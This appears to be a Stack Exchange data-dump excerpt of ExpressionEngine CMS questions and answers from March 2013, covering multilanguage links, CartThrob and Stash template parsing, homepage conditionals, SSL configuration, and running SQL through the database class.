  <row Id="6892" PostTypeId="1" CreationDate="2013-03-01T09:19:39.450" Score="3" ViewCount="127" Body="&lt;p&gt;I have a multilanguage site with wygwam and the client is making extensive use of the &quot;site page&quot; links. for the multilanguage part i use &quot;multi language support&quot; by biber ltd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i have a bodytext-field setup for every language and the switch is working just fine but the links generated inside wygwam do not consider the currently selected language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order for this to work i would have to somehow squeeze in the {language_code} into the by wygwam generated urls. is there any way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[EDIT]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My initial idea to setup a specific baseHref for each language doesn't work. Maybe there is a way to do a find and replace over the whole bodytext? I'll get back to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[EDIT 2]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I endet up using &quot;replace plus&quot; to find the page-links and insert the language_code to the url. Quite simple and works fast.&lt;/p&gt;&#xA;" OwnerUserId="465" LastEditorUserId="465" LastEditDate="2013-03-11T11:32:26.137" LastActivityDate="2013-03-11T11:32:26.137" Title="Use WYGWAM &quot;site page&quot; links in a multilanguage environment" Tags="|wygwam|pixelandtonic|multilingual|links|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6893" PostTypeId="1" CreationDate="2013-03-01T10:35:41.723" Score="1" ViewCount="38" Body="&lt;p&gt;A client's site has a main domain ('A'), they also have a parked domain as well ('B'). Depending on the domain that the visitor arrives on the site at, the site would show an older version of some entries, but not others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having checked the settings in the control panel, I may have narrowed down that some URLs in the settings had reverted to the parked 'B' domain. This has now been fixed using Deeploy Helper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main concern is that the site was showing out of date content which shouldn't have existed. Had anyone ever seen this happen before?&lt;/p&gt;&#xA;" OwnerUserId="523" LastActivityDate="2013-03-01T17:14:42.660" Title="Different Content showing depending on the domain a visitor arrives on" Tags="|channel-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6894" PostTypeId="1" CreationDate="2013-03-01T10:43:17.683" Score="1" ViewCount="67" Body="&lt;p&gt;My project needs NTLM authentication. This is not core function as i found here: &lt;a href=&quot;http://ee-spotlight.com/reviews/can_expressionengine&quot; rel=&quot;nofollow&quot;&gt;Can ExpressionEngine….?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any existing add-ons which provide this? If not, where would be an appropriate place to find a developer for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="644" LastEditorUserId="150" LastEditDate="2013-03-05T02:10:19.473" LastActivityDate="2013-03-05T02:10:19.473" Title="NTLM authentication with EE" Tags="|add-on-development|email|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6895" PostTypeId="2" ParentId="6885" CreationDate="2013-03-01T12:28:55.997" Score="3" Body="&lt;p&gt;Try turning off the &quot;Apply XSS Filtering to uploaded files?&quot; setting under Admin &gt; Security and Privacy &gt; Security and Sessions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen that filtering reject uploads with unhelpful error messages before, especially if you're uploading a PDF or non-image.&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2013-03-01T12:28:55.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6896" PostTypeId="1" AcceptedAnswerId="6897" CreationDate="2013-03-01T12:31:18.330" Score="1" ViewCount="91" Body="&lt;p&gt;I've got the following code which is meant to output a list of authors of orders in cartthrob that match a certain entry id:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;participants&quot; scope=&quot;user&quot; save=&quot;yes&quot; parse_tags=&quot;yes&quot;}&#xA;&#xA;         {exp:channel:entries channel=&quot;orders&quot; dynamic=&quot;no&quot; status=&quot;Paid&quot;}&#xA;&#xA;                    {exp:cartthrob:order_items order_id=&quot;{entry_id}&quot;}&#xA;                           {stash:authors_id}{item:author_id}{/stash:authors_id}&#xA;                     {/exp:cartthrob:order_items}&#xA;&#xA;           {/exp:channel:entries}&#xA;&#xA;   {/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesn't pick up the author_id from the cartthrob tag at all. If i take out that cartthrob tag and just get stash to pick up the author_id from the channel tag it works fine.&#xA;I've tried every combination of parse=&quot;inward&quot; you can imagine but nothing gives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2013-03-01T12:52:27.740" Title="Stash set_list and cartthrob order_items not playing nicely, parse order perhaps?" Tags="|cartthrob|stash|parse-order|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6897" PostTypeId="2" ParentId="6896" CreationDate="2013-03-01T12:52:27.740" Score="2" Body="&lt;p&gt;The default &lt;code&gt;parse_depth&lt;/code&gt; is 1. In this case you need to parse two layers deep (because you have two nested tag pairs), so set &lt;code&gt;parse_depth=&quot;2&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-03-01T12:52:27.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6898" PostTypeId="2" ParentId="6893" CreationDate="2013-03-01T13:14:23.143" Score="1" Body="&lt;p&gt;did you try clearing your cache ? ( browser cache and/or cache provided by EE or an add-on like ce cache )&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2013-03-01T13:14:23.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6899" PostTypeId="2" ParentId="6894" CreationDate="2013-03-01T13:18:35.667" Score="1" Body="&lt;p&gt;There are no existing add-ons for NTLM authentication out in the wild.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking for an EE add-on, do a search on &lt;a href=&quot;http://devot-ee.com&quot; rel=&quot;nofollow&quot;&gt;devot:ee&lt;/a&gt;. If you don't find anything there, I'd suggest looking for a developer to write one for you - try &lt;a href=&quot;http://director-ee.com&quot; rel=&quot;nofollow&quot;&gt;director-ee&lt;/a&gt;. (It is certainly possible using &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/member_auth/index.html&quot; rel=&quot;nofollow&quot;&gt;these extension hooks&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-03-01T13:18:35.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6900" PostTypeId="1" AcceptedAnswerId="6902" CreationDate="2013-03-01T13:27:14.203" Score="3" ViewCount="838" Body="&lt;p&gt;Is there a code condition that I can call to detect if the user is currently on my sites homepage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Wordpress (and I'm sure I will get panned for making this comparison) there is an 'is_homepage' conditional that returns true when the homepage is being viewed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2013-03-01T13:50:01.170" Title="How can i test in code if current page is the homepage" Tags="|conditionals|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6901" PostTypeId="1" CreationDate="2013-03-01T13:40:40.843" Score="1" ViewCount="81" Body="&lt;p&gt;I am trying to display my download links on the page that displays all your purchases.  This code below just does not seem to work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Your Purchases&amp;lt;/h1&amp;gt;&#xA;{exp:channel:entries channel=&quot;orders&quot; author_id=&quot;CURRENT_USER&quot; status=&quot;open|Completed|closed|Registration Closed&quot;}&#xA;{exp:cartthrob:order_items order_id=&quot;{entry_id}&quot; variable_prefix=&quot;items_&quot;}&#xA;{if items_first_item}&#xA;Total number of items: {items_total_results}.&#xA;&amp;lt;table&amp;gt;&#xA;&amp;lt;thead&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td width=&quot;60&quot;&amp;gt;ID&amp;lt;/td&amp;gt;&#xA;&amp;lt;td width=&quot;350&quot;&amp;gt;Title&amp;lt;/td&amp;gt;&#xA;&amp;lt;td width=&quot;20&quot;&amp;gt;Qty&amp;lt;/td&amp;gt;&#xA;&amp;lt;td width=&quot;90&quot;&amp;gt;Invoice&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;/thead&amp;gt;&#xA;&amp;lt;tbody&amp;gt;&#xA;{/if}&#xA;&amp;lt;tr class=&quot;{items_switch=&quot;odd|even&quot;}&quot;&amp;gt;&#xA;                        &amp;lt;td valign=&quot;top&quot;&amp;gt;#{items_count}: {items_entry_id}&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td valign=&quot;top&quot;&amp;gt;&#xA;                      {items_title}{if items_size} - {items_size}{/if}&amp;lt;/td&amp;gt;&#xA;                      &amp;lt;td valign=&quot;top&quot;&amp;gt;{items_quantity}&amp;lt;/td&amp;gt;&#xA;                      &amp;lt;td valign=&quot;top&quot;&amp;gt;&amp;lt;a href=&quot;{path=courses/invoice}/{entry_id}&quot;&amp;gt;View invoice&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td valign=&quot;top&quot;&amp;gt;     &#xA;{if item:product_download_url}&#xA;&amp;lt;span &amp;gt;&amp;lt;a href=&quot;{exp:cartthrob:get_download_link field='product_download_url' entry_id='{item:entry_id}'}&quot;&amp;gt;Download&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;{/if}&#xA;    {if purchased_license_number}&#xA;    &amp;lt;p&amp;gt;License number: {purchased_license_number}&amp;lt;/p&amp;gt;&#xA;    {/if}&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;                    {if items_count == items_total_results}&#xA;                &amp;lt;/tbody&amp;gt;&#xA;        &amp;lt;/table&amp;gt;&#xA;        {/if}&#xA;    {/exp:cartthrob:order_items}&#xA;    {if no_results}&#xA;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;You have no orders in your account.&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastEditorUserId="28" LastEditDate="2013-03-01T17:54:53.437" LastActivityDate="2013-03-01T17:54:53.437" Title="download links not showing up Order history Cartthrob" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6902" PostTypeId="2" ParentId="6900" CreationDate="2013-03-01T13:50:01.170" Score="5" Body="&lt;p&gt;Generally speaking the home page can be called to ways: (1) in absence of &lt;code&gt;{segment_1}&lt;/code&gt; or (2) when the site is using the designated primary template_group and index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's deal the first one first, you'd just use the conditional&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 ==&quot;&quot;} what you want {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will test for the home page. Now, if you &lt;strong&gt;also&lt;/strong&gt; consider it the 'homepage' when people are on the designated 'index' page, regardless of if they are at your base domain, then you'd want&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1==&quot;archive&quot; &amp;amp;&amp;amp; segment_2==&quot;index&quot; OR segment_1==&quot;&quot;} {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where 'archive' would be whichever template_group you set to hold the primary index page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll want to test the second option, but it should work. You'd want to use the conditional that requires the AND statement before the condition that is the OR.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-03-01T13:50:01.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6903" PostTypeId="1" CreationDate="2013-03-01T14:44:22.043" Score="2" ViewCount="153" Body="&lt;p&gt;I want to personalize CP Content-&gt;Edit view with custom data from each entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example i want to show the value of a fieldtype.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to procede?&#xA;I think that there isn't any hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way seems to edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;system/expressionengine/controllers/cp/content_edit.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="310" LastActivityDate="2013-03-05T12:24:34.780" Title="How to personalize CP Content -&gt; Edit view?" Tags="|control-panel|add-on-development|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6904" PostTypeId="2" ParentId="6881" CreationDate="2013-03-01T14:53:02.563" Score="1" Body="&lt;p&gt;If memory serves me correctly, the profile:login form already avoids EE's interstitial page, unlike the standard EE login form. So you may not need to do any of this at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if that's not that case...submitting a form via ajax will override any error_handling chosen. So instead of getting inline errors, you get an object in the JSON response (&lt;code&gt;data.errors&lt;/code&gt;) which contains all of the error messages. You should use an else condition where you've got &lt;code&gt;if (data.success)&lt;/code&gt;, loop through &lt;code&gt;data.errors&lt;/code&gt; and append them to your form.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-03-01T14:53:02.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6905" PostTypeId="1" CreationDate="2013-03-01T15:02:25.607" Score="1" ViewCount="140" Body="&lt;p&gt;I'm trying to get the checkout template working with SSL. When I set the Require SSL parameter to YES in CP / Store / General. loading the checkout template (&lt;a href=&quot;https://www.mydomain.com/nl/store&quot; rel=&quot;nofollow&quot;&gt;https://www.mydomain.com/nl/store&lt;/a&gt;) fails and returning an error page: &quot;The requested URL /nl/store/checkout was not found on this server&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used a multi language set-up where each country has it's on folder in the root, containing a separate .htacces and index.php file. Other then the SSL issues the site and store functioning properly.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;.htacces:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f &#xA;RewriteCond %{REQUEST_FILENAME} !-d &#xA;RewriteRule ^(.*)$ /nl/index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;index.php:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['site_index'] = '';&#xA;$assign_to_config['site_url'] = 'http://www.mydomain.com/nl/'; &#xA;$assign_to_config['site_404'] = 'site/404';&#xA;$assign_to_config['global_vars'] = array(&#xA;    &quot;country_code&quot; =&amp;gt; &quot;nl&quot;,&#xA;    &quot;language&quot; =&amp;gt; &quot;Nederlands&quot;&#xA;); // This array must be associative&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="664" LastActivityDate="2013-03-01T15:46:35.620" Title="SSL on multi-language site" Tags="|expresso-store|htaccess|ssl|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6906" PostTypeId="1" AcceptedAnswerId="6911" CreationDate="2013-03-01T15:18:54.063" Score="2" ViewCount="911" Body="&lt;p&gt;Using &lt;code&gt;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;query();&lt;/code&gt; is it possible to execute a query as complicated as this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TEMPORARY TABLE exp_temp_table (...);&#xA;INSERT INTO exp_temp_table () SELECT ...;&#xA;UPDATE exp_temp_table ... SET ...;&#xA;SELECT ... FROM exp_temp_table ...;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For obvious reasons I've removed most of the actual statements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code executes perfectly in phpMyAdmin, but when I try to use &lt;code&gt;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;query();&lt;/code&gt; I get a SQL error at &lt;code&gt;INSERT INTO exp_temp_table ()...&lt;/code&gt; - is it not possible to execute queries with multiple statements? If not, is there some way I can work around this?&lt;/p&gt;&#xA;" OwnerUserId="823" LastActivityDate="2013-03-02T12:26:58.997" Title="Executing multiple SQL statements with Database class" Tags="|add-on-development|database|mysql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6907" PostTypeId="1" AcceptedAnswerId="6916" CreationDate="2013-03-01T15:20:02.353" Score="4" ViewCount="663" Body="&lt;p&gt;I would like to insert a clearfix div after every third category listing. I have used this method successfully when outputting from &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag pairs, but it appears that the &lt;code&gt;{switch}&lt;/code&gt; variable is not available for &lt;code&gt;{exp:channel:categories}&lt;/code&gt; tag pairs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way to accomplish this (perhaps with CSS, jQuery, or another EE function I'm unaware of)?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;Projects&quot; style=&quot;linear&quot; show_empty=&quot;no&quot; dynamic=&quot;no&quot; disable=&quot;member_data|pagination&quot;}&#xA;&amp;lt;div class=&quot;column one-third&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;pic&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{path='our-work/list'}&quot;&amp;gt;&#xA;        {if category_image}{exp:ce_img:single src=&quot;{category_image}&quot; crop=&quot;yes&quot; width=&quot;420&quot; height=&quot;290&quot; filter=&quot;auto_sharpen&quot;}&#xA;        {if:else}&amp;lt;img src=&quot;{lv_shortcuts_project_image_none}&quot; alt=&quot;&quot;/&amp;gt;{/if}&#xA;        &amp;lt;div class=&quot;img_overlay&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{path='our-work/list'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;p&amp;gt;{category_description}&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{switch='||&amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;'} &amp;lt;!-- DOES NOT WORK --&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2013-03-02T06:53:04.123" Title="Switch inside Channel:Categories?" Tags="|categories|switch|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6908" PostTypeId="2" ParentId="6903" CreationDate="2013-03-01T15:24:55.010" Score="3" Body="&lt;p&gt;Unfortunately there is no hook for this in EE2. &lt;a href=&quot;http://devot-ee.com/add-ons/zenbu&quot; rel=&quot;nofollow&quot;&gt;Zenbu&lt;/a&gt; is a popular addon that offers this functionality within a completely separate module.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2013-03-01T15:24:55.010" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6909" PostTypeId="2" ParentId="6821" CreationDate="2013-03-01T15:36:35.583" Score="2" Body="&lt;p&gt;This is happening since we moved file fields to custom fields in Freeform 4 &lt;code&gt;enctype=&quot;multipart/form-data&quot;&lt;/code&gt; doesn't get added automatically to the  element opener.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to do file fields manually you can use the param &lt;code&gt;form:enctype=&quot;multipart/form-data&quot;&lt;/code&gt; which will add the param to the opening  element.&lt;/p&gt;&#xA;" OwnerDisplayName="user550" LastActivityDate="2013-03-01T15:36:35.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6910" PostTypeId="2" ParentId="6905" CreationDate="2013-03-01T15:46:35.620" Score="3" Body="&lt;p&gt;Try changing &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['site_url'] = 'http://www.mydomain.com/nl/'; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['site_url'] = '//www.mydomain.com/nl/'; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;we haven't done with Store before, but had to use it in other areas of sites we've done, so that the page will properly load as SSL. The process is called '&lt;a href=&quot;http://paulirish.com/2010/the-protocol-relative-url/&quot; rel=&quot;nofollow&quot;&gt;protocol-relative&lt;/a&gt;'. We were having a slew of SSL issues, due to assets— images, css files, javascripts, etc. All that used &lt;code&gt;http://&lt;/code&gt; when we were trying to initiate &lt;code&gt;https://&lt;/code&gt; and that helped, tremendously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can't say if it will work, but no harm in trying.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-03-01T15:46:35.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6911" PostTypeId="2" ParentId="6906" CreationDate="2013-03-01T15:47:09.257" Score="2" Body="&lt;p&gt;I was worried about the temporary table not persisting between queries but the following code worked correctly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;query('CREATE TEMPORARY TABLE exp_temp_table (...)');&#xA;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;query('INSERT INTO exp_temp_table () SELECT ...');&#xA;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;query('UPDATE exp_temp_table ... SET ...');&#xA;$query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query('SELECT ... FROM exp_temp_table ...');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="823" LastActivityDate="2013-03-01T15:47:09.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6912" PostTypeId="2" ParentId="6901" CreationDate="2013-03-01T16:22:18.730" Score="2" Body="&lt;p&gt;I've had success using the following to display download links:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:download_file_form field=&quot;product_download_url&quot; entry_id=&quot;{item:entry_id}&quot; }&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;Download Now!&quot; /&amp;gt; &#xA;{/exp:cartthrob:download_file_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, I don't know if it would make a difference but what happens if instead of &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;order_id=&quot;{entry_id}&quot;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you use &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;order_id=&quot;{purchased_order_id}&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="604" LastActivityDate="2013-03-01T16:22:18.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6913" PostTypeId="2" ParentId="6882" CreationDate="2013-03-01T16:23:43.577" Score="1" Body="&lt;p&gt;Cem - This is not currently possible in Assets 2.  I'll be happy to send your request off to the team for consideration.&lt;/p&gt;&#xA;" OwnerUserId="563" LastEditorUserId="563" LastEditDate="2013-03-01T16:43:50.783" LastActivityDate="2013-03-01T16:43:50.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6914" PostTypeId="1" CreationDate="2013-03-01T16:28:40.277" Score="1" ViewCount="112" Body="&lt;p&gt;Is there a way to translate the form fields for devdemon's Forms (default Form Tools and Powertools label fields) in spanish? Has anyone done this before&gt;&lt;/p&gt;&#xA;" OwnerUserId="295" LastActivityDate="2013-03-03T19:58:52.770" Title="Spanish form field labels in DevDemon's Forms?" Tags="|forms|multi-language|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6915" PostTypeId="2" ParentId="6893" CreationDate="2013-03-01T17:14:42.660" Score="1" Body="&lt;p&gt;@janvi Myself and client both cleared local caches, and the EE cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turned out issue was related to a recent server move and the IP address and URL hadn't been updated (both in the CMS and in the DNS settings, amazingly) to the correct server when it should have been.&lt;/p&gt;&#xA;" OwnerUserId="523" LastActivityDate="2013-03-01T17:14:42.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6916" PostTypeId="2" ParentId="6907" CreationDate="2013-03-01T17:21:42.820" Score="1" Body="&lt;p&gt;If you know the exact number of categories that will be displayed, you can use conditionals in combination with the {count} variable.&lt;/p&gt;&#xA;" OwnerUserId="336" LastActivityDate="2013-03-01T17:21:42.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6917" PostTypeId="2" ParentId="6907" CreationDate="2013-03-01T17:50:07.637" Score="5" Body="&lt;p&gt;The &lt;a href=&quot;http://devot-ee.com/add-ons/gwcode-alternate&quot;&gt;&lt;strong&gt;GWcode Alternate addon&lt;/strong&gt;&lt;/a&gt; will accomplish what you need.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This simple plugin for ExpressionEngine 1 and 2 lets you rotate&#xA;  through any number of values to create alternations, for CSS classes&#xA;  for example.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can use this plugin to rotate through any number of values,&#xA;  similar to the switch variable in the {exp:channel:entries} tag for&#xA;  example.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The most straightforward use for this would be to alternate CSS&#xA;  classes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code example&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    {exp:channel:categories channel=&quot;example&quot; style=&quot;linear&quot;}&#xA;        {exp:gwcode_alternate count=&quot;{count}&quot; alternate=&quot;one|two|three&quot;}&amp;lt;li class=&quot;{alternate_value}&quot;&amp;gt;{alternate_value}: {category_name}&amp;lt;/li&amp;gt;{/exp:gwcode_alternate}&#xA;    {/exp:channel:categories}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-01T17:50:07.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6918" PostTypeId="2" ParentId="6903" CreationDate="2013-03-01T17:53:52.563" Score="0" Body="&lt;p&gt;If you don't want to use Zenbu, you might want to buy it and use it as your foundation and expand on their code to accomplish what you are needing to accomplish.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-01T17:53:52.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6919" PostTypeId="1" CreationDate="2013-03-01T20:27:32.440" Score="1" ViewCount="144" Body="&lt;p&gt;Is there a simple way to hide unwanted non required extra registration fields in the CP member register form?&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2013-03-02T21:10:40.903" Title="How to hide unwanted fields in CP register form" Tags="|members|fields|register|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6920" PostTypeId="2" ParentId="6919" CreationDate="2013-03-01T20:50:08.683" Score="2" Body="&lt;p&gt;Nope - no hooks exist in the new member form I'm afraid. I suppose you could hide them with some jQuery?&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-03-01T20:50:08.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6921" PostTypeId="2" ParentId="6919" CreationDate="2013-03-01T21:18:06.893" Score="0" Body="&lt;p&gt;Or if you get really keen, you could use one of the members-as-entries add-ons and then you can present whatever fields you want using regular channel entry fieldtypes.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-03-01T21:18:06.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6922" PostTypeId="2" ParentId="6914" CreationDate="2013-03-01T21:23:14.903" Score="2" Body="&lt;p&gt;It's not covered in the docs, but apparently, according to &lt;a href=&quot;https://www.devdemon.com/forums/viewthread/1921/&quot; rel=&quot;nofollow&quot;&gt;this forum post&lt;/a&gt;, there are language packs for the forms module to allow you to do this, yes. I'd check in with the DevDemon folks to find out which languages are available and how to go about loading the language pack.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-03-01T21:23:14.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
